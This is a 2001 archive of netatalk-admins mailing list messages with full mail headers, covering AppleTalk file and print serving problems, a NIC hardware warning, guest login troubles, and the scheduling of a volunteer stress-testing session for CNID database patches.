	by users.phg-online.de (8.9.3/8.9.3) with ESMTP id IAA16260;
	Wed, 28 Nov 2001 08:21:28 +0100
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2106
Date: Wed, 28 Nov 2001 07:59:21 +0100
Subject: Re: zones in netalk. Good info!
From: Thomas Kaiser <Thomas.Kaiser@phg-online.de>
To: <gmac63@carolina.rr.com>, <netatalk-admins@umich.edu>
Message-ID: <B82A49D8.15424%Thomas.Kaiser@phg-online.de>
In-Reply-To: <01112720595700.00895@link6>
Mime-version: 1.0
Content-type: text/plain; charset="ISO-8859-1"
Content-Transfer-Encoding: 8bit
X-MIME-Autoconverted: from quoted-printable to 8bit by terminator.rsug.itd.umich.edu id BAA26040

On Tue, 27 Nov 2001 20:59:21 -0500 (EST), gmac63 wrote:

> RTL81391@COLORSTATION:MicrosoftØ Windows NTŖ Prt 4.00    17.206:2
  ^^^^^^^
You should pull this RealTek NIC out of any computer that does more than
sleeping, IMHO.

Many people have trouble with NICs based on RTL8139 chipsets, on Linux,
FreeBSD, all variations of Windows and even MacOS. They seem to work in
general, but will cause trouble under heavy load...

Maybe your printer probs will disappear.

Regards,

Thomas


From netatalk.administrators-errors@umich.edu  Wed Nov 28 06:01:11 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA03702
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Nov 2001 06:01:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA18067
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Nov 2001 06:01:11 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA18047
	for netatalk.administrators-members@umich.edu; Wed, 28 Nov 2001 06:01:11 -0500 (EST)
Received: from mail7.carolina.rr.com (fe7.southeast.rr.com [24.93.67.54])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA18004
	for <netatalk-admins@umich.edu>; Wed, 28 Nov 2001 06:01:10 -0500 (EST)
Received: from link6 ([24.93.92.117]) by mail7.carolina.rr.com  with Microsoft SMTPSVC(5.5.1877.687.68);
	 Wed, 28 Nov 2001 06:01:07 -0500
Content-Type: text/plain;
  charset="iso-8859-1"
From: gmac63 <gmac63@carolina.rr.com>
Reply-To: gmac63@carolina.rr.com
To: netatalk-admins@umich.edu
Subject: RTL81291 was: Re: zones in netalk. Good info!
Date: Wed, 28 Nov 2001 06:01:58 -0500
X-Mailer: KMail [version 1.2]
References: <B82A49D8.15424%Thomas.Kaiser@phg-online.de>
In-Reply-To: <B82A49D8.15424%Thomas.Kaiser@phg-online.de>
MIME-Version: 1.0
Message-Id: <01112806015800.01661@link6>
Content-Transfer-Encoding: 8bit

On Wednesday 28 November 2001 01:59 am, you wrote:
> On Tue, 27 Nov 2001 20:59:21 -0500 (EST), gmac63 wrote:
> > RTL81391@COLORSTATION:MicrosoftØ Windows NTŖ Prt 4.00    17.206:2
>
>   ^^^^^^^
> You should pull this RealTek NIC out of any computer that does more than
> sleeping, IMHO.
>
> Many people have trouble with NICs based on RTL8139 chipsets, on Linux,
> FreeBSD, all variations of Windows and even MacOS. They seem to work in
> general, but will cause trouble under heavy load...
>
> Maybe your printer probs will disappear.
>
> Regards,
>
> Thomas

Oh, yeah, well, this one isn't the one dropping printers. Its a RIP for an 
Epson 9000 Color plotter. Nor a bad box at all -- as NT goes... ;-)

-Wes

From netatalk.administrators-errors@umich.edu  Wed Nov 28 09:15:14 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA11169
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Nov 2001 09:15:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA10944
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Nov 2001 09:15:14 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA10920
	for netatalk.administrators-members@umich.edu; Wed, 28 Nov 2001 09:15:13 -0500 (EST)
Received: from mk-smarthost-3.mail.uk.tiscali.com (mk-smarthost-3.mail.uk.tiscali.com [212.74.112.73])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id JAA10886
	for <netatalk-admins@umich.edu>; Wed, 28 Nov 2001 09:15:12 -0500 (EST)
Received: from host213-123-47-2.dialup.lineone.co.uk ([213.123.47.2])
	by mk-smarthost-3.mail.uk.tiscali.com with esmtp (Exim 3.33 #1)
	id 1695SH-000MQB-00
	for netatalk-admins@umich.edu; Wed, 28 Nov 2001 14:12:54 +0000
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Wed, 28 Nov 2001 14:16:59 +0000
Subject: unsubscribe
From: Bob Hobbs <i@bobhobbs.com>
To: <netatalk-admins@umich.edu>
Message-ID: <B82AA25B.1E09%i@bobhobbs.com>
In-Reply-To: <01112806015800.01661@link6>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

unsubscribe


From netatalk.administrators-errors@umich.edu  Wed Nov 28 13:45:33 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA23629
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Wed, 28 Nov 2001 13:45:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA08218
	for netatalk-admins@terminator.rsug.itd.umich.edu; Wed, 28 Nov 2001 13:45:33 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA08201
	for netatalk.administrators-members@umich.edu; Wed, 28 Nov 2001 13:45:32 -0500 (EST)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id NAA08160
	for <netatalk-admins@umich.edu>; Wed, 28 Nov 2001 13:45:30 -0500 (EST)
From: roger.day@globalgraphics.com
X-VirusChecked: Checked
Received: (qmail 19077 invoked from network); 28 Nov 2001 18:44:50 -0000
Received: from unknown (HELO holly.cam.harlequin.co.uk) (193.128.4.58)
  by server-46.tower-1.london-2.starlabs.net with SMTP; 28 Nov 2001 18:44:50 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id SAA17611; Wed, 28 Nov 2001 18:45:27 GMT
Received: from notescam.cam.harlequin.co.uk (notescam.cam.harlequin.co.uk [172.16.16.169])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id SAA08012; Wed, 28 Nov 2001 18:45:26 GMT
Received: by notescam.cam.harlequin.co.uk(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 80256B12.006706A7 ; Wed, 28 Nov 2001 18:45:19 +0000
X-Lotus-FromDomain: HARLEQUIN
To: netatalk-admins@umich.edu
cc: netatalk-devel@lists.sourceforge.net
Message-ID: <80256B12.006704A3.00@notescam.cam.harlequin.co.uk>
Date: Wed, 28 Nov 2001 18:45:13 +0000
Subject: Trash Can Usage Map
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

I export 3 partitions from a Linux box via netatalk (the 1.5pre7 distrib)

On a Macos 9.2 box I run an application  which copies files from one of the
exported partitions, and I get "File: Access denied error". From the logs, I get

Nov 28 16:30:38 isambard afpd[19163]: afp_openfork: ad_open: Input/output error
path: Trash Can Usage Map

(I added a the file name variable as a parameter to the error call so as to help
 me track the problem)

I've gone around all the exported partitions making sure that their "Trash Can
Usage Map" files are accessible - directory and file permissions etc. Is there
anything else I need to do?

TIA.

Roger



From netatalk.administrators-errors@umich.edu  Thu Nov 29 06:31:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA08548
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Nov 2001 06:31:54 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA22543
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Nov 2001 06:31:53 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA22525
	for netatalk.administrators-members@umich.edu; Thu, 29 Nov 2001 06:31:53 -0500 (EST)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id GAA22484
	for <netatalk-admins@umich.edu>; Thu, 29 Nov 2001 06:31:52 -0500 (EST)
From: roger.day@globalgraphics.com
X-VirusChecked: Checked
Received: (qmail 7939 invoked from network); 29 Nov 2001 11:18:19 -0000
Received: from unknown (HELO holly.cam.harlequin.co.uk) (193.128.4.58)
  by server-46.tower-1.london-2.starlabs.net with SMTP; 29 Nov 2001 11:18:19 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id LAA03524; Thu, 29 Nov 2001 11:19:02 GMT
Received: from notescam.cam.harlequin.co.uk (notescam.cam.harlequin.co.uk [172.16.16.169])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id LAA04028; Thu, 29 Nov 2001 11:19:00 GMT
Received: by notescam.cam.harlequin.co.uk(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 80256B13.003E1F0E ; Thu, 29 Nov 2001 11:18:31 +0000
X-Lotus-FromDomain: HARLEQUIN
To: netatalk-admins@umich.edu
cc: netatalk-devel@lists.sourceforge.net
Message-ID: <80256B13.003E1D16.00@notescam.cam.harlequin.co.uk>
Date: Thu, 29 Nov 2001 11:18:25 +0000
Subject: login as guest
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

I can login as an authenticated user from Macos 9.2 but not from Macos 9.1.  Is
there a fix for logging in as an authenticated user with 9.1? How do I enable
guest with netatalk?

TIA

Roger



From netatalk.administrators-errors@umich.edu  Thu Nov 29 07:31:56 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id HAA10812
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Nov 2001 07:31:56 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id HAA22575
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Nov 2001 07:31:56 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id HAA22562
	for netatalk.administrators-members@umich.edu; Thu, 29 Nov 2001 07:31:56 -0500 (EST)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id HAA22530
	for <netatalk-admins@umich.edu>; Thu, 29 Nov 2001 07:31:54 -0500 (EST)
From: roger.day@globalgraphics.com
X-VirusChecked: Checked
Received: (qmail 13598 invoked from network); 29 Nov 2001 12:03:30 -0000
Received: from unknown (HELO holly.cam.harlequin.co.uk) (193.128.4.58)
  by server-32.tower-1.london-2.starlabs.net with SMTP; 29 Nov 2001 12:03:30 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id MAA04357 for <netatalk-admins@umich.edu>; Thu, 29 Nov 2001 12:04:43 GMT
Received: from notescam.cam.harlequin.co.uk (notescam.cam.harlequin.co.uk [172.16.16.169])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id MAA09194 for <netatalk-admins@umich.edu>; Thu, 29 Nov 2001 12:04:42 GMT
Received: by notescam.cam.harlequin.co.uk(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 80256B13.00425659 ; Thu, 29 Nov 2001 12:04:34 +0000
X-Lotus-FromDomain: HARLEQUIN
To: netatalk-admins@umich.edu
Message-ID: <80256B13.004254DA.00@notescam.cam.harlequin.co.uk>
Date: Thu, 29 Nov 2001 12:04:30 +0000
Subject: Re: login as guest
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline


At 29/11/2001 11:18:25, Roger Day wrote:
#  I can login as an authenticated user from Macos 9.2 but not from Macos 9.1.
Is
#  there a fix for logging in as an authenticated user with 9.1? How do I enable

#  guest with netatalk?

A little more information - I cannot login from the mac as guest but everything
else seems fine. Confused.

I thought it was becuase I had compiled netatalk with --red-enable, but I've
compiled and installed it since without that option but I cannot get the guest
option to work.

Roger



From netatalk.administrators-errors@umich.edu  Thu Nov 29 09:16:32 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from roustabout.mr.itd.umich.edu (roustabout.mr.itd.umich.edu [141.211.125.16])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id JAA15590
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Nov 2001 09:16:32 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id JAA04046
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Nov 2001 09:16:32 -0500 (EST)
Received: (from daemon@localhost)
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id JAA04025
	for netatalk.administrators-members@umich.edu; Thu, 29 Nov 2001 09:16:31 -0500 (EST)
Received: from mail.london-2.starlabs.net (mail.london-2.starlabs.net [212.125.75.4])
	by roustabout.mr.itd.umich.edu (8.9.3/3.1u+) with SMTP id JAA03982
	for <netatalk-admins@umich.edu>; Thu, 29 Nov 2001 09:16:30 -0500 (EST)
From: roger.day@globalgraphics.com
X-VirusChecked: Checked
Received: (qmail 11662 invoked from network); 29 Nov 2001 14:15:39 -0000
Received: from unknown (HELO holly.cam.harlequin.co.uk) (193.128.4.58)
  by server-46.tower-1.london-2.starlabs.net with SMTP; 29 Nov 2001 14:15:39 -0000
Received: from gpo.cam.harlequin.co.uk (gpo.cam.harlequin.co.uk [192.88.238.241])
          by holly.cam.harlequin.co.uk (8.8.4/8.8.4) with ESMTP
	  id OAA06784 for <netatalk-admins@umich.edu>; Thu, 29 Nov 2001 14:16:22 GMT
Received: from notescam.cam.harlequin.co.uk (notescam.cam.harlequin.co.uk [172.16.16.169])
          by gpo.cam.harlequin.co.uk (8.8.4/8.8.4) with SMTP
	  id OAA21857 for <netatalk-admins@umich.edu>; Thu, 29 Nov 2001 14:16:21 GMT
Received: by notescam.cam.harlequin.co.uk(Lotus SMTP MTA v4.6.7  (934.1 12-30-1999))  id 80256B13.004E65D7 ; Thu, 29 Nov 2001 14:16:18 +0000
X-Lotus-FromDomain: HARLEQUIN
To: roger.day@globalgraphics.com
cc: netatalk-admins@umich.edu
Message-ID: <80256B13.004E5F4F.00@notescam.cam.harlequin.co.uk>
Date: Thu, 29 Nov 2001 14:16:00 +0000
Subject: Re: login as guest
Mime-Version: 1.0
Content-type: text/plain; charset=us-ascii
Content-Disposition: inline

It seems our local YP servers has had problems...hence the confusions. Doh!

At 29/11/2001 12:04:30, Roger Day wrote:
#  At 29/11/2001 11:18:25, Roger Day wrote:
#  #  I can login as an authenticated user from Macos 9.2 but not from Macos
9.1.
#  Is
#  #  there a fix for logging in as an authenticated user with 9.1? How do I
enable
#
#  #  guest with netatalk?
#
#  A little more information - I cannot login from the mac as guest but
everything
#  else seems fine. Confused.
#
#  I thought it was becuase I had compiled netatalk with --red-enable, but I've
#  compiled and installed it since without that option but I cannot get the
guest
#  option to work.
#
#  Roger
#
#
Roger



From netatalk.administrators-errors@umich.edu  Thu Nov 29 13:20:54 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA28134
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Nov 2001 13:20:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA27493
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Nov 2001 13:20:54 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA27479
	for netatalk.administrators-members@umich.edu; Thu, 29 Nov 2001 13:20:53 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.226.68])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA27409
	for <netatalk-admins@umich.edu>; Thu, 29 Nov 2001 13:20:52 -0500 (EST)
Received: from [192.168.0.151] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id fATIK6k20676;
	Thu, 29 Nov 2001 10:20:07 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 29 Nov 2001 10:20:46 -0800
Subject: CNID Hacking Party: Request for volunteers!
From: Steve Freitas <sflist@ihonk.com>
To: netatalk-admins <netatalk-admins@umich.edu>,
        Netatalk-devel <netatalk-devel@lists.sourceforge.net>
Message-ID: <B82BBC7D.9DA6%sflist@ihonk.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

Hi all,

In an effort parallel to our path to getting a stable release out, we're
trying to do some heavy testing on Joe Clarke's CNID patches. These patches
create a persistent DID database, something that is necessary if aliases are
going to work fully in Netatalk.

Testing involves setting up some Mac clients to whack the server with a lot
of file operations at once. Hopefully by the end of the day, nothing will
crash. :-)

We've tentatively set a date, Saturday, December 1st, at 11 am Pacific time,
to meet on IRC and test CNID, with Joe providing patches based on testers'
input.

So we need testers. You can be a tester if you:

1. Can compile and run Netatalk on any platform, particularly Linux.
2. Have three or more Macs at your disposal with a fast LAN connection to
the server.
3. Can D/L & run Helios Lantest (http://www.helios.de/products/LanTest.html)
on those Macs.

So please volunteer if you can. It'll be fun, and you'll help contribute a
great feature to Netatalk.

I'll email meeting and technical details on Friday to the lists.

Thanks,

Steve Freitas


From netatalk.administrators-errors@umich.edu  Thu Nov 29 13:25:07 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kidgalahad.mr.itd.umich.edu (kidgalahad.mr.itd.umich.edu [141.211.125.18])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA28316
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Nov 2001 13:25:07 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA16543
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Nov 2001 13:25:07 -0500 (EST)
Received: (from daemon@localhost)
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA16533
	for netatalk.administrators-members@umich.edu; Thu, 29 Nov 2001 13:25:06 -0500 (EST)
Received: from shumai.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by kidgalahad.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA16463
	for <netatalk-admins@umich.edu>; Thu, 29 Nov 2001 13:25:04 -0500 (EST)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.6/8.11.6) with ESMTP id fATIP5p12005;
	Thu, 29 Nov 2001 13:25:05 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Thu, 29 Nov 2001 13:25:05 -0500 (EST)
From: Joe Clarke <marcus@marcuscom.com>
To: Steve Freitas <sflist@ihonk.com>
cc: netatalk-admins <netatalk-admins@umich.edu>,
        Netatalk-devel <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] CNID Hacking Party: Request for volunteers!
In-Reply-To: <B82BBC7D.9DA6%sflist@ihonk.com>
Message-ID: <20011129132402.T11056-100000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII

I hate to throw a wrench in the works, but I just came down with a bad
cold, and I won't be able to do much prep work for this weekend.  If
anyone objects, can we reschedule for the following Saturday?

Joe

On Thu, 29 Nov 2001, Steve Freitas wrote:

> Hi all,
>
> In an effort parallel to our path to getting a stable release out, we're
> trying to do some heavy testing on Joe Clarke's CNID patches. These patches
> create a persistent DID database, something that is necessary if aliases are
> going to work fully in Netatalk.
>
> Testing involves setting up some Mac clients to whack the server with a lot
> of file operations at once. Hopefully by the end of the day, nothing will
> crash. :-)
>
> We've tentatively set a date, Saturday, December 1st, at 11 am Pacific time,
> to meet on IRC and test CNID, with Joe providing patches based on testers'
> input.
>
> So we need testers. You can be a tester if you:
>
> 1. Can compile and run Netatalk on any platform, particularly Linux.
> 2. Have three or more Macs at your disposal with a fast LAN connection to
> the server.
> 3. Can D/L & run Helios Lantest (http://www.helios.de/products/LanTest.html)
> on those Macs.
>
> So please volunteer if you can. It'll be fun, and you'll help contribute a
> great feature to Netatalk.
>
> I'll email meeting and technical details on Friday to the lists.
>
> Thanks,
>
> Steve Freitas
>
>
> _______________________________________________
> Netatalk-devel mailing list
> Netatalk-devel@lists.sourceforge.net
> https://lists.sourceforge.net/lists/listinfo/netatalk-devel
>
>


From netatalk.administrators-errors@umich.edu  Thu Nov 29 13:34:28 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA28620
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Nov 2001 13:34:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA07524
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Nov 2001 13:34:27 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA07502
	for netatalk.administrators-members@umich.edu; Thu, 29 Nov 2001 13:34:26 -0500 (EST)
Received: from anubis.fizbin.com ([216.133.226.68])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA07372
	for <netatalk-admins@umich.edu>; Thu, 29 Nov 2001 13:34:25 -0500 (EST)
Received: from [192.168.0.151] (cx428818-b.irvn1.occa.home.com [24.177.19.184])
	by anubis.fizbin.com (8.11.6/8.11.6) with ESMTP id fATIXRk21548;
	Thu, 29 Nov 2001 10:33:27 -0800
User-Agent: Microsoft-Outlook-Express-Macintosh-Edition/5.02.2022
Date: Thu, 29 Nov 2001 10:34:03 -0800
Subject: Re: [Netatalk-devel] CNID Hacking Party: Request for volunteers!
From: Steve Freitas <sflist@ihonk.com>
To: Joe Clarke <marcus@marcuscom.com>
CC: netatalk-admins <netatalk-admins@umich.edu>,
        Netatalk-devel <netatalk-devel@lists.sourceforge.net>
Message-ID: <B82BBF9A.9DAA%sflist@ihonk.com>
In-Reply-To: <20011129132402.T11056-100000@shumai.marcuscom.com>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit

> I hate to throw a wrench in the works, but I just came down with a bad
> cold, and I won't be able to do much prep work for this weekend.  If
> anyone objects, can we reschedule for the following Saturday?

D'oh! Hope you feel better, Joe.

Okay everyone, amend that to Saturday, December 8th, 11 am Pacific time.

Steve


From netatalk.administrators-errors@umich.edu  Thu Nov 29 13:37:27 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from kingcreole.mr.itd.umich.edu (kingcreole.mr.itd.umich.edu [141.211.14.25])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id NAA28718
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Thu, 29 Nov 2001 13:37:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id NAA23715
	for netatalk-admins@terminator.rsug.itd.umich.edu; Thu, 29 Nov 2001 13:37:26 -0500 (EST)
Received: (from daemon@localhost)
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id NAA23709
	for netatalk.administrators-members@umich.edu; Thu, 29 Nov 2001 13:37:25 -0500 (EST)
Received: from shumai.marcuscom.com (rdu57-28-046.nc.rr.com [66.57.28.46])
	by kingcreole.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id NAA23456
	for <netatalk-admins@umich.edu>; Thu, 29 Nov 2001 13:37:24 -0500 (EST)
Received: from localhost (marcus@localhost)
	by shumai.marcuscom.com (8.11.6/8.11.6) with ESMTP id fATIbHU12054;
	Thu, 29 Nov 2001 13:37:17 -0500 (EST)
	(envelope-from marcus@marcuscom.com)
X-Authentication-Warning: shumai.marcuscom.com: marcus owned process doing -bs
Date: Thu, 29 Nov 2001 13:37:17 -0500 (EST)
From: Joe Clarke <marcus@marcuscom.com>
To: Steve Freitas <sflist@ihonk.com>
cc: netatalk-admins <netatalk-admins@umich.edu>,
        Netatalk-devel <netatalk-devel@lists.sourceforge.net>
Subject: Re: [Netatalk-devel] CNID Hacking Party: Request for volunteers!
In-Reply-To: <B82BBF9A.9DAA%sflist@ihonk.com>
Message-ID: <20011129133705.S11056-100000@shumai.marcuscom.com>
MIME-Version: 1.0
Content-Type: TEXT/PLAIN; charset=US-ASCII



On Thu, 29 Nov 2001, Steve Freitas wrote:

> > I hate to throw a wrench in the works, but I just came down with a bad
> > cold, and I won't be able to do much prep work for this weekend.  If
> > anyone objects, can we reschedule for the following Saturday?
>
> D'oh! Hope you feel better, Joe.

Thanks.

>
> Okay everyone, amend that to Saturday, December 8th, 11 am Pacific time.
>

And thanks, again.

Joe

> Steve
>
>
>


From netatalk.administrators-errors@umich.edu  Fri Nov 30 06:14:08 2001
Return-Path: <netatalk.administrators-errors@umich.edu>
Received: from easycomeeasygo.mr.itd.umich.edu (easycomeeasygo.mr.itd.umich.edu [141.211.14.26])
	by terminator.rsug.itd.umich.edu (8.9.3/3.0+) with ESMTP id GAA06512
	for <netatalk-admins@terminator.rsug.itd.umich.edu>; Fri, 30 Nov 2001 06:14:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with LDAP id GAA11640
	for netatalk-admins@terminator.rsug.itd.umich.edu; Fri, 30 Nov 2001 06:14:08 -0500 (EST)
Received: (from daemon@localhost)
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with X.500 id GAA11632
	for netatalk.administrators-members@umich.edu; Fri, 30 Nov 2001 06:14:08 -0500 (EST)
Received: from mailout02.sul.t-online.de (mailout02.sul.t-online.com [194.25.134.17])
	by easycomeeasygo.mr.itd.umich.edu (8.9.3/3.1u+) with ESMTP id GAA11613
	for <netatalk-admins@umich.edu>; Fri, 30 Nov 2001 06:14:07 -0500 (EST)
Received: from fwd07.sul.t-online.de 
	by mailout02.sul.t-online.de with smtp 
	id 169lcM-000473-0A; Fri, 30 Nov 2001 12:14:06 +0100
Received: from [217.3.117.201] (520054459995-0001@[217.3.117.201]) by fwd07.sul.t-online.com
	with esmtp id 169lbs-0KXzaSC; Fri, 30 Nov 2001 12:13:36 +0100
User-Agent: Microsoft-Entourage/9.0.2509
Date: Fri, 30 Nov 2001 12:13:35 +0100
Subject: Help: Printing in Linux (ppc) via a Dayna MiniEtherphrint device?
From: markus.kuschnik@t-online.de (Markus Kuschnik)
To: <netatalk-admins@umich.edu>
Message-ID: <B82D286F.275%markus.kuschnik@t-online.de>
Mime-version: 1.0
Content-type: text/plain; charset="US-ASCII"
Content-transfer-encoding: 7bit
X-Sender: 520054459995-0001@t-dialin.net

Dear Netatalk-Listmembers,

Since two weeks I, a very beginner concerning SuSE-Linux, am successfully
running Linux 7.1 on a 2GB-partition on an iMac (G3, 350 MHz), but, until
now, I didn't find a way to implement the HP LaserJet 4ML (300x300 dpi)
which is connected to the Mac via a Dayna Mini EtherPrint-device.  According
to Erik Oliver's answer to an extremely similar request - sent to this list
on March 04 2000 - there is a way by using netatalk. I already
after-installed the netatalk-package from the original cd, but I don't know
how to proceed in configuring netatalk for my needs.
Can anyone of you provide me with a step-by-step-instruction concerning the
netatalk-configuration in that case?
